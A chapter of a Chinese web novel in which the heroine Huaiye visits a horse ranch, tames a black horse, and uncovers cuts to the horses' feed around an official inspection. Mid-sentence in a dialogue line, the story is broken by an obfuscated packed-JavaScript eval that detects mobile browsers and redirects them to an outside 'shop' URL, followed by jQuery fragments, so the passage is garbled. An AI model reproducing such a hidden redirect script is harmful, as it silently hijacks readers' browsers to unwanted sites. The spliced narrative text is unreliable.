淮叶这几日心绪不宁，总觉得有人要害她。


    橘矾给淮叶按摩说：“娘子，您要觉得不安全，婢子找映荷要些毒药来，她如今跟着左春神医学毒，想来有的是鸩毒、牵机药、断肠草、乌头、砒霜……谁欺负您，来一个，婢子毒一个，来一双，婢子毒一双！”


    淮叶哭笑不得，橘矾见状，咧嘴一笑：“您终于开心了。”


    她接着一脸认真道：“娘子，您每日练习踢腿，沙袋都坏了两个，谁要近身，恐怕要落个终身残废。您是没看见，关鹤每次拜见您，看见那沙袋，都特意绕道而行。”


    关鹤一想到淮叶是在练习踢裆，所以看见那沙袋，他心情非常复杂。


    橘矾又说道：“还有粉矾保护您呢！关鹤直夸粉矾天生是个练武的苗子，一身钢筋铁骨，力量惊人，而且勤奋刻苦。”


    粉矾这些日子来一直跟着关鹤练武，关鹤越教越惊讶，粉矾刚入门，就有了周身空无的感觉，难道说越傻……单纯的人越容易进入状态。


    淮叶听完后，心里安定了不少，她往窗外看了一眼，碧空如洗，阳光明媚。


    “这样好的天气，去马场看一看。”


    “叫上粉矾。”


    -


    马，甲兵之本，自推行民间养马制度后，市马贸易繁荣，穆家坐拥丰州最大的马场，蓄养了大量良种马。


    淮叶来的不凑巧，赶上了兵曹验马。


    周朝虽然多年无战事，但驿站、官员出行等也需要马匹。州郡中，兵曹主要负责管理马匹收购及相关事务，包括组织交易、监督质量等。


    马场的负责人是大房手下的得力干将吴管事，他匆匆跟淮叶打了一个照面，便离开了。


    粉矾见状，就是再迟钝也反应过来了，这是吴管事给淮叶的下马威，于是气鼓鼓道：“娘子，要不要把他抓回来？”


    淮叶忍俊不禁：“兵曹验马是大事，看吴管事的样子，怕是几天没阖眼了。”脚步虚浮、面色蜡黄、嘴唇发白，一看就是过劳所致。


    对于这位吴管事，李荣跟她说过，能力强，责任心强，这么多年来不厌其烦地给大房收拾烂摊子，没有一句怨言。


    吴管事还留下了一名手下，他已经做好了挨骂的准备，没想到淮叶一点也不怪罪，还为吴管事说话，他不由惊讶。


    主子们都把他们当牛马使唤，极尽压榨，淮叶这般着实令人感动，怪不得大伙儿都想去淮叶手下做事。


    他拱手感激淮叶的理解，然后领淮叶去选马。


    “淮娘子，请随小的来。”


    “有劳了。”


    “不敢当不敢当。”


    到了马厩，粉矾的眼睛看不过来了：“娘子，这个好，鬃毛长，娘子，这个也好，耳朵大，还有这个……”


    手下介绍说：“相马有个口诀，相眼为先，次观头，面要方圆，眼似悬铃，睛如撒豆……鼻如金盏食槽横，耳如柳叶根一握，颈长如凤似鸡鸣，口叉深牙齿远[1]……不过，它们都是千里良驹，闭着眼睛挑也不会出错。”


    淮叶目光落在一匹黑马上，通体黑亮，有一双琥珀色的眼睛，如墨玉错金，问道：“它叫什么？”


    手下回话道：“它叫小黑，是西域马与一……劣马所生，说来奇怪，劣马有缺陷，小黑却身躯健壮。”


    他见淮叶十分喜欢小黑，便道：“淮娘子，请您为小黑赐名。”


    淮叶想了想，她追求安稳，历史上有一个人冯道，历四朝十帝屹然不倒，那叫一个稳当，所以她决定：“叫四朝。”


    手下愣了下，四朝？好奇怪的名字。


    淮叶摸了下四朝的脑袋：“挺温顺。”


    手下忍不住道：“您可别被小黑……四朝迷惑了，整个马场再也找不出比它更狡诈的马了，许多人想驯服它，但都失败了。”


    淮叶跃跃欲试，手下见状，唤来一小厮教淮叶骑马。


    那小厮十三四岁光景，淮叶上下打量了一番，问道：“你叫什么名字？”


    小厮一脸激动地说道：“小的叫马二，有个哥哥叫马大，阿娘叫乌金花，阿耶叫马山——”


    手下黑着脸打断他：“问你叫什么，说家里人做甚？”又肃声道：“好好教淮娘子骑马，若有半点闪失，惟你是问。”


    淮叶善解人意地对手下说：“有马二在，你先去忙吧，吴管事那边缺不了人，别因为我而误了事。”


    手下连忙摇了摇头：“您大驾光临已是怠慢，小的如果离开，别说吴管事饶不了小的，就是小的自己也饶不了自己。”


    淮叶神情突然严肃起来：“你以为兵曹验马只是马场的事？我这么做，是为穆府，事有轻重缓急之分，现在不是固执虚礼的时候。”


    一通说服下，手下深深地行了个礼，这才离开。


    淮叶转头看向马二：“你就是乌婆子的小儿子？倒是机灵。”


    马二咧嘴一笑，他方才那么说就是想告诉淮叶他娘是乌婆子，现在手下被支走了，不等淮叶问话，他便将自己知道的情况和盘托出。


    淮叶注意到一点：“你是说，喂马的草料减少了？”


    马二重重点头道：“您有所不知，草料两年前就开始减少了。”


    淮叶心中一惊，她知道大房贪财，但没想到他们胆子这么大，敢把主意打到草料上，他们就不怕马出事吗？


    马二看出了淮叶的疑惑，解释说：“丰州已经很多年没有战事了——”


    一旁的粉矾气冲冲地打断道：“没有战事，所以就让马儿吃不饱？”


    马二也一肚子火：“我从小跟马生活在一起，给它们喂食、洗澡……现在看到它们吃不饱，我心里别提多难受了！”


    淮叶一脸凝重，她考虑的是，一旦爆发战争，穆府首当其冲。


    “验马顺利吗？”


    问这句话的时候，淮叶想到了吴管事的样子，心中顿时有了答案。


    马二回答道：“小的不知道具体情况，但小的的阿耶和哥哥已经忙了好几天了，不过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197206|144782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    每次验马，马场里的人都会很忙。”


    验马是很麻烦的，毛色、体型、马蹄、牙齿……速度、耐力都需要查看，不过具体操作起来，可以灵活一点，但体重和肩宽必须达标，没有任何商量的余地。


    淮叶若有所思，又问道：“一般验几天？”


    马二想了想说道：“以前七八天左右，但从前年起，变成了九天，多出来的两天，据说是用来交流验马的各项事宜。”


    淮叶一听，交流验马的各项事宜？这话她打死都不信！


    不过她清楚自己没有插手穆家核心产业的份，于是只叫马二继续暗中观察，如果有异动，再向她汇报。


    “是，淮娘子。”


    -


    想要马认主，除了驯服它，别无他法。


    上马后，双脚离地让淮叶很没有安全感，但再没有安全感也得克服，因为这是她必须要掌握的生存技能。


    马二骑着马跟在一侧：“您抓着缰绳，千万别松手。”


    话音刚落，四朝突然弓起背跳跃，淮叶吓了一跳。下一秒，四朝狂奔起来，淮叶的心一下子提到了嗓子眼儿，脑海中不由地浮现出自己被甩出去的画面，她立即死死抓着缰绳。四朝见还没有把人甩出去，前蹄腾空。


    粉矾看到这一幕，杀心四起，从头上拔出一根发钗，瞄准四朝，然而无论哪个部位，四朝翻到在地，淮叶都会受伤，她急得不行，朝马二吼道：“你赶快让那畜生停下来。”


    马二擦了把额头上的汗，他也没办法，就在这时，四朝慢了下来，他眼睛一亮：“快跟上，我们从两侧牵制四朝。”


    四朝低估了淮叶的难缠程度，于是故意放慢速度，让淮叶放松警惕，然而淮叶何等爱惜生命，抓着缰绳的手更紧了，四朝见状再一次狂奔起来。


    淮叶受够了这种把戏，比起危险，她更讨厌被动的感觉，于是一把扯过马鬃，道：“既然你这么不配合，那好，我奉陪到底。”


    风在耳边咆哮，她开始享受驰骋的乐趣，四朝似乎感知到了淮叶的变化，没有继续耍把戏，慢慢停了下来。


    马二松了口气，还好有惊无险，见淮叶神采奕奕，他心中又吃惊又佩服。


    粉矾紧张地看着淮叶：“娘子，您有没有受伤，手都红了。”她边说边从褡裢里掏出药膏。


    淮叶这才注意到自己的手勒出了红痕，虽然疼，但她心情很愉快：“别担心，我没事。”


    粉矾细细为淮叶抹上药：“刚才吓死婢子了。”


    淮叶岔开话题：“这药膏哪来的？”


    粉矾回道：“是映荷给婢子的，她见婢子练武，给了好些药膏，止痒的、祛湿的、肿散瘀的……特别管用。”


    淮叶眯眼一笑，看来，映荷越来越融入食野苹的生活了，这是个好现象。


    回到穆府后，淮叶一直关注着验马的情况。


    九天之后，结果出来了，近三成马匹不达标，其中，有两成马匹体重不达标，一成马匹肩高不达标。